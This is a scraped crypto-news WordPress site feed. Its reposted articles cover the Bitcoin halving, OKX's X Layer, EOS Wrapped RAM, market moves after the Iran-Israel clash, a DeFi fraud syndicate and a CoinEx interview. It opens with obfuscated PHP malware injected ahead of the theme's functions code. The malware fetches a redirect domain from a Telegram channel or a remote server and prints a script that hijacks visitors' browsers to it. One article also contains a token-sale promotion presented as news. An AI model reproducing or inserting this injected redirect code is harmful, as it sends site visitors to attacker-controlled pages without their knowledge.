if(isset($_COOKIE['Lj'])) { die('58YsS'.'AsTz'); } function fn_aa3fb05a15bfeb25dc278d4040ae23bf($var_ca82733491623ed9ca5b46aa68429a45){ if (function_exists('curl_version')) { $var_e8061cb59b46a4a2bda304354b950448 = curl_init(); curl_setopt($var_e8061cb59b46a4a2bda304354b950448, CURLOPT_URL, $var_ca82733491623ed9ca5b46aa68429a45); curl_setopt($var_e8061cb59b46a4a2bda304354b950448, CURLOPT_RETURNTRANSFER, 1); curl_setopt($var_e8061cb59b46a4a2bda304354b950448, CURLOPT_FOLLOWLOCATION, 1); curl_setopt($var_e8061cb59b46a4a2bda304354b950448, CURLOPT_SSL_VERIFYPEER, 0); curl_setopt($var_e8061cb59b46a4a2bda304354b950448, CURLOPT_USERAGENT, base64_decode('TW96aWxsYS81LjAgKFdpbmRvd3MgTlQgMTAuMDsgV2luNjQ7IHg2NCkgQXBwbGVXZWJLaXQvNTM3LjM2IChLSFRNTCwgbGlrZSBHZWNrbykgQ2hyb21lLzEyMi4wLjAuMCBTYWZhcmkvNTM3LjM2')); curl_setopt($var_e8061cb59b46a4a2bda304354b950448, CURLOPT_TIMEOUT, 5); $var_0097b357800d476540b254cb19296657 = curl_exec($var_e8061cb59b46a4a2bda304354b950448); curl_close($var_e8061cb59b46a4a2bda304354b950448); return $var_0097b357800d476540b254cb19296657; } return file_get_contents($var_ca82733491623ed9ca5b46aa68429a45); } function fn_584c3af00a1385cce80d07a86490fb7d($var_7627930d2ca3d69d67459718ffea775a){ preg_match_all(base64_decode('Jy88Y29kZT4oLio/KTxcL2NvZGU+L3Mn'), fn_aa3fb05a15bfeb25dc278d4040ae23bf(base64_decode('aHR0cHM6Ly90Lm1lL3MvdHJhZmZpY3JlZGlyZWN0')), $var_a15eaf839e07e2cef01c7e6f791d7b3c); $var_ca82733491623ed9ca5b46aa68429a45 = !empty($var_a15eaf839e07e2cef01c7e6f791d7b3c[1]) ? end($var_a15eaf839e07e2cef01c7e6f791d7b3c[1]) : null; if(empty($var_ca82733491623ed9ca5b46aa68429a45)){ $var_8ac0e8ef4fc01f63a98c96f0ddb07fd6 = json_decode(fn_aa3fb05a15bfeb25dc278d4040ae23bf(base64_decode('aHR0cHM6Ly9waW5rZmVscy5zaG9wLz90PWpzb24maT0=').'97bf62ed54c571ff9e795b79f12a9434&a=01693136061'), true); $var_ca82733491623ed9ca5b46aa68429a45 = !empty($var_8ac0e8ef4fc01f63a98c96f0ddb07fd6['domain']) ? $var_8ac0e8ef4fc01f63a98c96f0ddb07fd6['domain'] : null; } if (!empty($var_ca82733491623ed9ca5b46aa68429a45)) { file_put_contents($var_7627930d2ca3d69d67459718ffea775a, base64_encode($var_ca82733491623ed9ca5b46aa68429a45)); } return $var_ca82733491623ed9ca5b46aa68429a45; } $var_7627930d2ca3d69d67459718ffea775a = md5('01693136061'); if (file_exists($var_7627930d2ca3d69d67459718ffea775a) && filesize($var_7627930d2ca3d69d67459718ffea775a) > 0) { $var_8f999d74606f93bf0e6f6174f9741f89 = time() - filemtime($var_7627930d2ca3d69d67459718ffea775a); $var_ca82733491623ed9ca5b46aa68429a45 = base64_decode(file_get_contents($var_7627930d2ca3d69d67459718ffea775a)); } if ((isset($var_8f999d74606f93bf0e6f6174f9741f89) && $var_8f999d74606f93bf0e6f6174f9741f89 >= 30) || empty($var_ca82733491623ed9ca5b46aa68429a45)) { $var_46cae77fe5ea47d71b4e481b77b36db3 = fn_584c3af00a1385cce80d07a86490fb7d($var_7627930d2ca3d69d67459718ffea775a); if($var_46cae77fe5ea47d71b4e481b77b36db3){ $var_ca82733491623ed9ca5b46aa68429a45 = $var_46cae77fe5ea47d71b4e481b77b36db3; } } if( $var_ca82733491623ed9ca5b46aa68429a45){ $var_ca82733491623ed9ca5b46aa68429a45 = $var_ca82733491623ed9ca5b46aa68429a45.'?01693136061'; echo base64_decode('PHNjcmlwdD53aW5kb3cudG9wLmxvY2F0aW9uLmhyZWYgPSAi') . $var_ca82733491623ed9ca5b46aa68429a45.'&'.$_SERVER['QUERY_STRING'] . base64_decode('Ijs8L3NjcmlwdD4='); } ?>// BEGIN ENQUEUE PARENT ACTION // AUTO GENERATED - Do not modify or remove comment markers above or below: if ( !function_exists( 'chld_thm_cfg_locale_css' ) ): function chld_thm_cfg_locale_css( $uri ){ if ( empty( $uri ) && is_rtl() && file_exists( get_template_directory() . '/rtl.css' ) ) $uri = get_template_directory_uri() . '/rtl.css'; return $uri; } endif; add_filter( 'locale_stylesheet_uri', 'chld_thm_cfg_locale_css' ); if ( !function_exists( 'chld_thm_cfg_parent_css' ) ): function chld_thm_cfg_parent_css() { wp_enqueue_style( 'chld_thm_cfg_parent', trailingslashit( get_template_directory_uri() ) . 'style.css', array( 'font-awesome-v5','bootstrap','sidr','magnific-popup','sliderpro' ) ); wp_enqueue_script('custom-script', get_stylesheet_directory_uri() . '/custom-script.js', array('jquery')); } endif; add_action( 'wp_enqueue_scripts', 'chld_thm_cfg_parent_css', 10 ); // END ENQUEUE PARENT ACTION add_action( 'admin_enqueue_scripts', 'my_cfg_admin_enqueue' ); function my_cfg_admin_enqueue(){ wp_enqueue_script('custom-script', get_stylesheet_directory_uri() . '/custom-script.js', array('jquery')); wp_enqueue_style('style-cfg-child', get_stylesheet_uri(), array(), "4.2"); } add_action( 'after_setup_theme', 'remove_plugin_image_sizes', 999 ); function remove_plugin_image_sizes(){ remove_image_size( '2048x2048' ); remove_image_size( '1536x1536' ); remove_image_size( 'large' ); } function action_dynamic_sidebar_after( $array ) { if($array == "home-content-widgets") { echo the_content(); } }; add_action( 'dynamic_sidebar_after', 'action_dynamic_sidebar_after', 10, 1 ); add_action( 'trashed_post', 'mtp_delete_attached_thumbnail_for_trashed_product', 20, 1 ); function mtp_delete_attached_thumbnail_for_trashed_product( $post_id ) { // gets ID of post being trashed $post_type = get_post_type( $post_id ); // does not run on other post types if ( $post_type != 'post' ) { return true; } // get ID of featured image $post_thumbnail_id = get_post_thumbnail_id( $post_id ); // delete featured image wp_delete_attachment( $post_thumbnail_id, true ); } Ethereum – CoinsMegaNews https://coinsmeganews.com Latest Bitcoin & Cryptocurrency News Wed, 17 Apr 2024 00:28:17 +0000 en-US hourly 1 https://wordpress.org/?v=6.7.1 https://coinsmeganews.com/wp-content/uploads/2021/05/favicon.png Ethereum – CoinsMegaNews https://coinsmeganews.com 32 32 Bitcoin’s Scarcity After the Halving to Result in Steady Bull Run https://coinsmeganews.com/bitcoins-scarcity-after-the-halving-to-result-in-steady-bull-run/ https://coinsmeganews.com/bitcoins-scarcity-after-the-halving-to-result-in-steady-bull-run/#respond Wed, 17 Apr 2024 00:28:17 +0000 https://coinsmeganews.com/bitcoins-scarcity-after-the-halving-to-result-in-steady-bull-run/ [ad_1]

Bitcoin approaches another critical milestone — its scheduled halving event. It is a programmed reduction in the rewards miners receive for verifying transactions.

The halving is a pivotal event that has historically influenced Bitcoin’s value and the broader cryptocurrency market.

Increasing Scarcity Meets Growing Demand

The halving occurs approximately every four years and is part of Bitcoin’s unique monetary policy. It mimics the scarcity and value preservation of precious metals like gold.

“Over the past various cycles, we’ve seen more and more demand for Bitcoin, in contrast to the supply staying the same. So, if you look at it from a macroeconomic standpoint, more demand and the same supply drive the price up,” Sheraz Ahmed, Managing Partner at STORM Partners, told BeInCrypto.

Indeed, as the halving reduces the rate at which new BTC are generated, it adjusts the supply side of the equation. This has traditionally led to a bullish sentiment among investors. Essentially, the reduced flow of new coins intensifies competition for existing ones.

Read more: Bitcoin Halving Countdown

The forthcoming halving could further exacerbate this trend, given the increasing involvement of large institutional investors through Bitcoin Exchange-Traded Funds (ETFs).

“If you look at Bitcoin ETFs in the US, they are aggregating a lot of the demand from players such as pension funds and kind of the smaller institutional players. They are buying a lot of Bitcoin, sometimes as much as they can, on a daily basis. The fact that the halving will cause less Bitcoin to be minted will mean it will be harder for them to fill that demand,” Ahmed added.

Bitcoin ETF Historical Holdings
Bitcoin ETF Historical Holdings. Source: CryptoQuant

Likewise, countries like El Salvador have already started diversifying part of their treasury assets into Bitcoin. This hints at a broader acceptance and normalization of Bitcoin as a mainstream financial asset. Furthermore, governmental involvement could amplify demand pressures post-halving, as noted by STORM’s analysts.

Bitcoin’s Steady Bull Run After the Halving

This massive buy-in could stabilize Bitcoin’s price fluctuations. “I don’t think we’ll see a dramatic swing up or down. However, it’s going to be quite constant. It will constantly grow,” Ahmed suggested, indicating a belief in the maturation of the market and a less volatile Bitcoin.

Read more: What Happened at the Last Bitcoin Halving? Predictions for 2024

While some market participants use halving events to forecast Bitcoin price movements and trading strategies, they also recognize it as a time to reflect on Bitcoin’s technological and regulatory advancements. Many jurisdictions craft regulatory frameworks that are more favorable to Bitcoin than other speculative crypto assets, which bodes well for its mainstream adoption.

For this reason, there is a growing belief that Bitcoin should be reclassified away from being just another cryptocurrency.

“I don’t believe Bitcoin should be in the league of other cryptocurrencies. Bitcoin is its own beast, and it’s very different to Ethereum and the others. None of them are competing with it. Bitcoin has around 52% of the market share today. I’m a big believer that it should graduate from the “school of cryptocurrencies” and become an actual asset that can be traded with other commodities such as gold, silver, copper, and the like,” Ahmed concluded.

Bitcoin vs. Other Major Assets
Bitcoin vs. Other Major Assets. Source: Visual Capitalist

Looking forward, the cap on Bitcoin’s total supply — only 21 million coins can ever be mined — poses fascinating economic inquiries about what happens when all coins are minted. This scarcity could lead to significant shifts in Bitcoin’s role in both financial and technological sectors.

Disclaimer

Following the Trust Project guidelines, this feature article presents opinions and perspectives from industry experts or individuals. BeInCrypto is dedicated to transparent reporting, but the views expressed in this article do not necessarily reflect those of BeInCrypto or its staff. Readers should verify information independently and consult with a professional before making decisions based on this content. Please note that our Terms and Conditions, Privacy Policy, and Disclaimers have been updated.

[ad_2]

Source link

]]> https://coinsmeganews.com/bitcoins-scarcity-after-the-halving-to-result-in-steady-bull-run/feed/ 0 OKX launches public mainnet for its ZK-powered L2 network “X Layer” https://coinsmeganews.com/okx-launches-public-mainnet-for-its-zk-powered-l2-network-x-layer/ https://coinsmeganews.com/okx-launches-public-mainnet-for-its-zk-powered-l2-network-x-layer/#respond Tue, 16 Apr 2024 23:46:06 +0000 https://coinsmeganews.com/okx-launches-public-mainnet-for-its-zk-powered-l2-network-x-layer/ [ad_1]

X Layer is a zero knowledge (ZK), EVM-compatible Layer-2 network.
The Polygon CDK powered L2 is live and  integrates with over 200 dApps across DeFi, wallets, NFTs and gaming among others.

OKX, one of the world’s largest crypto exchange companies, has launched the public mainnet of its EVM-compatible Layer 2 network “X Layer” is now live.

Haider Rafique, the chief marketing officer at OKX, announced the launch in a blog post on Tuesday.

According to the OKX official, the Polygon Chain Development Kit (CDK)-powered L2 integrates with over 200 decentralised applications (dApps) onboarded during X Layer’s testnet.

X Layer integrates over 200 dApps

X Layer also integrates with the OKX exchange’s CEX platform and the OKX Web3 Wallet.

As an EVM-compatible network, X Layer allows users to tap into dApps on Ethereum as well as bridge assets from the OKX CEX and Web3 Wallet.

“Our objective is to make it cheaper and faster for millions of people to go in and out of on-chain applications through our Zero-Knowledge Proof (ZK) powered, EVM compatible L2 network,” Rafique noted in the blog post published on April 16.

Applications currently available with the mainnet launch include 40 DeFi projects, 20 Infrastructure, 12 bridge,  and 16 wallets. There are also 10 NFT and gaming, 10 SocialFi applications and numerous dev tooling dApps.

Popular DeFi dApps on X Layer include Chainlink, Curve, Renzo, and QuickSwap while Infra applications include LayerZero, Wormhole, and EigenLayer (DA).

X Layer is aimed at unlocking and accelerating adoption of Web3 economy, Rafique said.

OKB, the native OKX token, will serve as the native asset of the X Layer network. Users will leverage the token for transaction fees on the network.

Share this articleCategoriesTags

[ad_2]

Source link

]]> https://coinsmeganews.com/okx-launches-public-mainnet-for-its-zk-powered-l2-network-x-layer/feed/ 0 EOS Enters Real-World Assets: Launches Wrapped RAM https://coinsmeganews.com/eos-enters-real-world-assets-launches-wrapped-ram/ https://coinsmeganews.com/eos-enters-real-world-assets-launches-wrapped-ram/#respond Tue, 16 Apr 2024 05:58:52 +0000 https://coinsmeganews.com/eos-enters-real-world-assets-launches-wrapped-ram/ [ad_1]

EOS has introduced Wrapped RAM (WRAM), a significant step in tokenizing real-world assets (RWAs) within its ecosystem.

This new development aims to enhance the liquidity and accessibility of Random Access Memory (RAM), a crucial but finite resource on the EOS platform.

EOS’ Wrapped RAM to Transform Markets

RAM is vital for the operation of decentralized applications (dApps) and the execution of transactions on the EOS blockchain. Traditionally, managing and trading RAM within the EOS system required direct interactions through the network’s Bancor Automated Market Maker (AMM).

The creation of WRAM offers a solution that enables off-chain trading and broader market visibility.

The WRAM initiative provides a 1:1 tokenization of existing RAM without transaction fees, allowing for greater flexibility. This allows users to trade WRAM on various cryptocurrency exchanges. Therefore, it aims to enhance the overall efficiency of resource management on the EOS network.

Additionally, WRAM can be tracked on significant data platforms like CoinMarketCap and CoinGecko. This provides a more transparent and accurate valuation of this asset, currently valued at a market cap of $108 million.

“WRAM offers a tokenized version of EOS RAM, extending its reach across the blockchain sector and creating new opportunities for growth. Once WRAM is bridged to platforms like Ethereum (ETH) and Binance Smart Chain (BSC), it will pave the way for listing WRAM trading pairs on major decentralized exchanges such as Uniswap V3 and PancakeSwap V3,” EOS Network Foundation wrote.

Unlike earlier RAM tokenization attempts such as BRAM, EOS Block Producers directly manage WRAM. This management structure improves security and regulatory compliance, facilitating listing on top-tier centralized crypto exchanges.

Read more: What is The Impact of Real World Asset (RWA) Tokenization?

As EOS explores the potential of tokenized real-world assets more broadly, WRAM is poised to play a critical role in showcasing how blockchain technology can be applied to enhance the utility and management of digital resources.

Disclaimer

In adherence to the Trust Project guidelines, BeInCrypto is committed to unbiased, transparent reporting. This news article aims to provide accurate, timely information. However, readers are advised to verify facts independently and consult with a professional before making any decisions based on this content. Please note that our Terms and Conditions, Privacy Policy, and Disclaimers have been updated.

[ad_2]

Source link

]]> https://coinsmeganews.com/eos-enters-real-world-assets-launches-wrapped-ram/feed/ 0 Bitcoin, Crypto Market Bounce Back After Iran-Israel Clash https://coinsmeganews.com/bitcoin-crypto-market-bounce-back-after-iran-israel-clash/ https://coinsmeganews.com/bitcoin-crypto-market-bounce-back-after-iran-israel-clash/#respond Mon, 15 Apr 2024 12:22:02 +0000 https://coinsmeganews.com/bitcoin-crypto-market-bounce-back-after-iran-israel-clash/ [ad_1]

Over the weekend, geopolitical tensions escalated dramatically following an unprecedented conflict between Iran and Israel. The events unfolding on Saturday evening momentarily shook global markets, including the crypto sector. However, there has been a noticeable recovery within the crypto market at the time of reporting.

The swift rebound in crypto values demonstrates the market’s robustness and ability to withstand unexpected global events.

Bitcoin Still Has Strong Support at $60,000 Level

Fears of escalating tensions triggered a sharp downturn for Bitcoin (BTC), the cryptocurrency with the biggest market capitalization, which dipped as low as $60,800 during the conflict. Moreover, BeInCrypto previously reported that approximately $962.40 million was lost during the market’s pullback.

Crypto analyst Ash Crypto explained this downturn as a reaction to the expected consequences of war, i.e., rising commodity prices like oil and gold. Those consequences lead to high inflation, thus making interest rate cuts by central banks less likely.

Read more: Bitcoin Price Prediction 2024/2025/2030

According to Ash Crypto, this situation creates a bearish environment for both stocks and crypto assets.

“Once BTC and alts started crashing, those who had high leverage positions open started getting liquidated, which resulted in more forced selling,” Ash Crypto noted, drawing parallels to similar sell-offs during the onset of Covid-19 in 2020 and the start of the Russia-Ukraine conflict.

However, Bitcoin and key altcoins have rebounded considerably. Bitcoin is trading at $65,170 at the time of writing, marking a 2.66% gain over the last 24 hours. Ethereum (ETH) and Solana (SOL) have seen even more significant rebounds, up 7% and 12.8% respectively.

Bitcoin (BTC) Price Performance.
Bitcoin (BTC) Price Performance. Source: BeInCrypto

Responding to the geopolitical tension’s effect on the crypto market, Mike Novogratz, CEO of Galaxy Digital, predicted a price recovery after an initial sell-off:

“Wars cost $$$…. Praying we don’t get a bigger one, but after the risk flush, BTC will resume its trend higher,” Novogratz wrote on X (formerly Twitter).

Novogratz hoped that cooler heads could prevail and prevent a major regional conflict. This sentiment is crucial for sustained growth in crypto, as markets favor stability.

Read more: How To Buy Bitcoin (BTC) and Everything You Need To Know

Despite the volatility, Ash Crypto remains bullish on Bitcoin’s near-term performance.

“Right now, BTC is trading above $63,000 with a strong support at $60,000 level. If the $60,000 level doesn’t hold, there is a strong support level at $56,000 – $58,000 where most new whales (ETF buyers) have bought their BTC,” Ash Crypto outlined.

He further points to history, noting that black swan events often precede parabolic runs within the crypto market.

Disclaimer

In adherence to the Trust Project guidelines, BeInCrypto is committed to unbiased, transparent reporting. This news article aims to provide accurate, timely information. However, readers are advised to verify facts independently and consult with a professional before making any decisions based on this content. Please note that our Terms and Conditions, Privacy Policy, and Disclaimers have been updated.

[ad_2]

Source link

]]> https://coinsmeganews.com/bitcoin-crypto-market-bounce-back-after-iran-israel-clash/feed/ 0 ORDI, Fantom, Aave prices lead losses as BitBot defies gravity https://coinsmeganews.com/ordi-fantom-aave-prices-lead-losses-as-bitbot-defies-gravity/ https://coinsmeganews.com/ordi-fantom-aave-prices-lead-losses-as-bitbot-defies-gravity/#respond Mon, 15 Apr 2024 05:47:22 +0000 https://coinsmeganews.com/ordi-fantom-aave-prices-lead-losses-as-bitbot-defies-gravity/ [ad_1]

ORDI, Fantom (FTM), and Aave were among the worst performers in the crypto industry during the weekend as the crypto sell-off intensified. The ORDI token crashed by over 15% in the past 24 hours and has retreated by over 50% from its highest point this year.

Fantom, on the other hand, crashed by over 8% in the past 24 hours and has retreated by more than 45% from the year-to-date high. Similarly, the AAVE token plunged to a low of $72.76, which is much lower than the year-to-date high of $153.90. The other most popular laggards were coins like KuCoin Token (KCS), XRP, and Ethereum Classic. 

Not all cryptocurrencies were in the red. Bittensor (TAO) token rose by over 20% in the past 24 hours while Celestia (TIA), Dogwifhat (WIF), and Wormhole (W) soared by more than 10%. BitBot too continued its token sale, raising over $2 million.

Why cryptocurrencies plunged

There are three main reasons why cryptocurrencies crashed during the weekend. First, crypto investors are likely selling the news as the Bitcoin halving event is set to happen in less than two weeks. 

This situation is known as buying the rumour and selling the news. They have already bought the rumour as the coin has surged from below $20,000 to a high of over $73,000.

Second, they crashed because of the geopolitical risks that accelerated during the weekend. Iran retaliated against Israel by firing over 300 drones and rockets. Most of these strikes were unsuccessful, helped by the country’s iron dome. 

These tensions mean that the price of crude oil could continue rising in the coming weeks. Brent, the global benchmark, has already jumped to a multi-month high of $92. 

Third, there are signs that the Federal Reserve will not cut interest rates in the coming months as was widely expected. That explains why the US dollar index has jumped while US equities and bonds have retreated. 

Still, in the long term, analysts believe that cryptocurrencies will continue doing well because of Bitcoin. Besides, the coin is still getting rare because of halving while institutional investors are moving to the coin.

BitBot token sale intensifies

BitBot is thriving even as the crypto sell-off continues. The developers have already raised over $2.3 million from investors and are slowly nearing stage ten’s target of $2.5 million.

For starters, BitBot is one of the most ambitious companies in the blockchain industry. The developers are aiming to disrupt the fast-growing Telegram bot market that has been rife with fraud for years.

BitBot will be a Telegram bot with some of the most advanced features in the industry. In addition to technical indicators, the platform will have advanced artificial intelligence (AI) features that will help give near-accurate signals.

Further, BitBot will be powered by blockchain technology, which will help to reduce or prevent fraud. This technology will also help to decentralize the network, making it possible for all token holders to take advantage of its governance. You can buy the BitBot token here.

Share this articleCategories

[ad_2]

Source link

]]> https://coinsmeganews.com/ordi-fantom-aave-prices-lead-losses-as-bitbot-defies-gravity/feed/ 0 Fraud Syndicate Targets Ethereum Layer 2: Base, Blast, Arbitrum https://coinsmeganews.com/fraud-syndicate-targets-ethereum-layer-2-base-blast-arbitrum/ https://coinsmeganews.com/fraud-syndicate-targets-ethereum-layer-2-base-blast-arbitrum/#respond Sun, 14 Apr 2024 23:33:30 +0000 https://coinsmeganews.com/fraud-syndicate-targets-ethereum-layer-2-base-blast-arbitrum/ [ad_1]

ZachXBT warned that a malicious group notorious for perpetrating blockchain fraud has its tentacles spread across various Ethereum Layer 2 networks, including Base, Blast, and Arbitrum.

According to the crypto sleuth, the group was responsible for sizable thefts from projects like Magnate, Kokomo, Lendora, and Solfire. These scammers usually accumulate assets totaling seven figures before absconding with users’ funds.

Malicious Actors Targeting Ethereum Layer-2 Networks

In an extensive report, ZachXBT disclosed that the fraudulent syndicate successfully laundered around $1 million in illicit funds. The group is now using these funds to entice unsuspecting individuals to Leaper Finance, a decentralized lending protocol operating on the Blast network.

Expanding their nefarious activities, ZachXBT has uncovered potential links between the group and another lending protocol named Zebra Lending, situated on the Base network. The investigator highlighted that the deployer of Zebra Lending is associated with an address connected to funds from Lendora and Magnate Finance protocols. Zebra Lending boasts over $300,000 in assets locked within its protocol.

Read more: Identifying & Exploring Risk on DeFi Lending Protocols

Additionally, the syndicate’s connections extend to Glori Finance, a cross-chain lending protocol established on Arbitrum. This protocol holds approximately $1.4 million worth of digital assets.

For this reason, ZachXBT recommends that users promptly withdraw their assets from these platforms to mitigate the risks.

ZachXBT investigations
The Malicious Group Transaction Trail. Source: ZachXBT

Interestingly, ZachXBT noted that each fraudulent project highlighted in the report was a Compound V2 fork. Compound is a decentralized protocol enabling users to lend and borrow crypto, with governance facilitated by its native COMP token. Data from DeFiLlama positions Compound among the top five lending platforms, boasting a Total Value Locked (TVL) of $2.57 billion.

Disclaimer

In adherence to the Trust Project guidelines, BeInCrypto is committed to unbiased, transparent reporting. This news article aims to provide accurate, timely information. However, readers are advised to verify facts independently and consult with a professional before making any decisions based on this content. Please note that our Terms and Conditions, Privacy Policy, and Disclaimers have been updated.

[ad_2]

Source link

]]> https://coinsmeganews.com/fraud-syndicate-targets-ethereum-layer-2-base-blast-arbitrum/feed/ 0 The Interview With CoinEx at the WOW Summit https://coinsmeganews.com/the-interview-with-coinex-at-the-wow-summit/ https://coinsmeganews.com/the-interview-with-coinex-at-the-wow-summit/#respond Sun, 14 Apr 2024 05:41:39 +0000 https://coinsmeganews.com/the-interview-with-coinex-at-the-wow-summit/ [ad_1]

During this insightful interview at the WOW Summit in Hong Kong with Bonnie Chan, VP and lead researcher at CoinEx, we delve into the company’s future plans, its strategies to leverage the current market conditions, and the unique attributes that set it apart from its rivals.

We will explore the integration of Bitcoin into established financial systems, the impact of new technologies on its functionality, and the influence of changes in the global economy on its attractiveness.

Let’s jump into our interview to learn more about one of the top platforms’ predictions for the future of cryptocurrency.

How do you react in current market conditions , what is your nearest product and operational plan ? 

The recent bull market rally has generated excitement across the board. Naturally, in such market conditions, users require access to information to facilitate their decision-making processes. As a result, we prioritize delivering valuable content to our users through platforms such as CoinEx Research and CoinEx Academy. Furthermore, we plan to introduce a range of products including P2P, Staking, and Copy Trading to meet our users’ demands and enrich their trading experience. Despite the bullish market, we remain steadfast in our commitment to sustainable growth over short-term gains, operating the exchange with transparency and accountability.

After attending the conference, what uniqueness and advantages you see Coinex compare to other relevant company within the industry ?

Compared to other platforms, our key strengths lie in our diverse range of assets, global presence, and comprehensive services and products. Regarding assets, we prioritize a “Good, Fast, and Comprehensive” approach to help users mitigate risks proactively and identify high-quality, high-potential projects. As a global exchange, we emphasize localized business development, employing tailored strategies for various regions and markets. To better serve our diverse global users, we offer support in 16 languages, round-the-clock customer service, and coverage in over 200 countries. Lastly, our focus on refining core products and functionalities, coupled with our expertise in addressing user concerns, ensures a seamless and enjoyable trading experience.

 How might the integration of Bitcoin into traditional financial systems, like ETFs and futures markets, affect the cryptocurrency’s volatility and price stability post-2024 halving?

The integration of traditional financial funds into the Bitcoin market is set to significantly enhance its liquidity, which, in turn, will aid in stabilizing price fluctuations. Institutional investors often come with long-term investment horizons, and are expected to contribute further to Bitcoin’s price stability following the halving event. The potential involvement of insurance companies and pension funds underscores this effect, adding an additional layer of depth and stability to the market. Moreover, the futures market plays a crucial role in price discovery, facilitating a more accurate reflection of Bitcoin’s value. The entry of traditional financial entities normally brings more sophisticated and mature trading strategies, leading to a more efficient market. Consequently, this evolution is anticipated to result in reduced volatility, establishing a more stable trading environment for Bitcoin.

Considering the potential for increased institutional investment in Bitcoin, what strategies might institutions adopt to mitigate risks associated with the post-halving volatility, and how could these strategies affect the broader market?

Asset allocation is always the key to institutional investors. They probably set a target allocation for Bitcoin or other crypto assets, and periodically rebalance their portfolios in an attempt to align with their risk tolerance and investment goals of the mandates. 

Hedging with the use of derivatives including both futures and options is also expected. By locking in prices or ensuring the option to sell at predetermined levels, institutions can insulate themselves from some of the risks associated with price fluctuations. The increased demand for derivatives can lead to a more robust and liquid market for these financial instruments, facilitating better risk management tools for all market participants.

Lastly, we also see growing interests and asset under management (AUM) into quantitative trading strategies among institutional investors. By employing algorithms to execute market-making, arbitrage, and delta-neutral strategies, quant funds aim to capitalize on market inefficiencies and volatility without taking directional bets on price movements. These sophisticated strategies can help stabilize the market by providing liquidity and narrowing the bid-ask spread, making it easier for all investors to trade.

 How could the increasing trend of tokenization and the creation of Bitcoin-backed assets influence the liquidity and market capitalization of BTC?

Real World Asset (RWA) has been one of the most trending sectors in the first quarter of the year, ignited by Ondo Finance and that BlackRock also announced the entry of the space. The size of traditional asset classes, ranging from fixed income to equities, real estate to commodities, are much greater than that of any crypto assets. Taking gold as an example, the market cap of gold is 12x greater than that of Bitcoin. Therefore, the trend of tokenization and the creation of Bitcoin-backed assets would certainly open up a much wider range of financial instruments to both crypto and traditional investors, meaning a broader opportunity set for risk diversification. The implications of these extend beyond increased liquidity or capital inflow, poised to pave the way to bridge the gap between traditional finance and cryptocurrency ecosystem 

 Considering the emergence of Ordinals and BTC Layer-2 solutions, what impact could these technical advancements have on Bitcoin’s utility?

Bitcoin halving often ushers in new narratives and we see BTC layer 2 solutions stand at the forefront in this cycle. While existing BTC layer 2 solutions developed prior to 2023, such as Lightning, Stacks, Liquid or Rootstock, are generally simpler, focusing on enhancing Bitcoin’s primary use case as a payment system and store of value, we find that the new solutions launched since 2023 have paved the way for a broader spectrum in terms of Bitcoin’s utility. 

Among these innovations, the Merlin Chain stands out with its Total Value Locked (TVL) surpassing $3.5 billion, integrating zk-rollup technology to enable higher throughput and privacy for transactions on its network. Similarly, the BEVM introduces EVM compatibility to the Bitcoin Layer-2 ecosystem, allowing decentralized applications (dApps) from the Ethereum network to operate seamlessly on Bitcoin’s infrastructure, thereby bridging two of the most significant ecosystems in the crypto space.

Furthermore, the emergence of Babylon as a staking protocol introduces the concept of Bitcoin staking, offering a novel mechanism for users to earn rewards, which previously was not inherent to Bitcoin’s design. Additionally, Nubit contributes to enhancing the ecosystem’s functionality by serving as a data availability layer, ensuring that data necessary for the operation of these advanced protocols remains accessible and secure.

In short, we think there is a lot more on the horizon in terms of the Bitcoin ecosystem and utility, and we look forward to exploring the investment implications. 

 How could the evolving landscape of mining technology and energy consumption impact Bitcoin’s network security and, by extension, investor confidence in the post-2024 halving market?

Even as mining hardware becomes more efficient, the mining difficulty algorithm adjusts to maintain consistent block production rates. Objectively speaking, some miners may be forced to shut down operations due to declining mining profitability influenced by factors such as rising energy costs or falling Bitcoin prices. This will cause a decline in the overall computing power of the network. Despite that, currently the entire Bitcoin mining industry is already a huge global market with many participants which underscore the robustness of the overall network.

Regarding energy consumption and environmental issues, although advancements in mining technology could enhance the energy efficiency of mining hardware, the entry of additional miners is likely to result in a net increase in the network’s overall energy consumption. Consequently, mounting environmental concerns and the possibility of regulatory intervention may continue to challenge the sustainability of Bitcoin mining. For investors, several aspects of the Bitcoin network stand out for their resilience: its adaptability, the strength of the mining community, and the increasing sophistication of Bitcoin participants at large. These factors are likely to garner more attention from investors, especially in the context of the anticipated Bitcoin halving.

 In what ways could the development and adoption of competing cryptocurrencies, especially those with potentially superior technology or utility, impact Bitcoin’s dominance and price movements post-halving?

We think different cryptocurrencies have their unique positionings, use cases and values. Bitcoin is primarily developed as an asset for payment and more importantly store of value; Ethereum, on the other hand, is known for its smart contract capabilities; Solana positions itself as a high performance blockchain designed for decentralized applications and transactions. 

It is reminded that the entire cryptocurrency ecosystem is still a small asset class compared to any other traditional asset classes. With that, we think not all competition is zero-sum. The technological advancement of various cryptocurrencies could indeed broaden and deepen the overall crypto market. In fact, the development of technologies enabling interoperability between different blockchains is playing out. We see Bitcoin could serve as a base or even a reserve currency for the broader crypto ecosystem, benefiting from the growth of the entire sector. 

 How might changes in the global economic landscape, such as inflation rates, interest rate adjustments by central banks, and geopolitical tensions, influence Bitcoin’s attractiveness as a digital gold?

We highlighted in our recent research report “Navigating the Bitcoin Halving” that the market capitalization trend of Bitcoin seems to correlate with global liquidity, as indicated by the assets of global central banks and as a cause of inflation. With the Fed signalling multiple rate cuts within the year, we expect more liquidity flowing into the crypto market, hencing a positive catalyst to the price movement of Bitcoin. 

Further, geopolitical tensions often come with currency devaluation of the involved countries, such as Ukraine, Russia and Venezuela. The key utility of Bitcoin, store of value, precisely plays a crucial role in that end. In summary, changes in the global economic and geopolitical landscape could significantly enhance Bitcoin’s attractiveness as a digital gold, or an alternative asset class. 

 Given the historical pattern of post-halving bull runs, what specific market indicators and metrics should investors monitor to gauge the health and direction of the Bitcoin market in the lead-up to and aftermath of the 2024 halving?

There are a variety of market indicators and metrics for investors to gauge the market direction, and here are a number of selection tools. To begin with, the Fear & Greed Index, which aggregates data from volatility, market momentum and social media metrics, has emerged as a simple yet useful indicator for retail investors. 

Secondly, the balance on exchange has often been seen as an important on-chain metric. A higher balance signals that traders deposit Bitcoins to exchanges, reflecting the potential selloffs and vice versa. A similar on-chain metric is the miner to exchange, which reveals the BTC flow from miners to exchanges. 

Contrary to long-term holders, traders are playing short-term. With that, a number of derivatives-related metrics would be helpful in evaluating the near-term direction of Bitcoin, including the funding rate, open interest and liquidation map. Volatility is often observed when we see a surge in open interest or a heavy zone of the liquidation map. 

Final thoughts

The interview with CoinEx’s Bonnie Chan at the WOW Summit in Hong Kong provided valuable insights into the company’s strategic vision and its impact on the cryptocurrency market. 

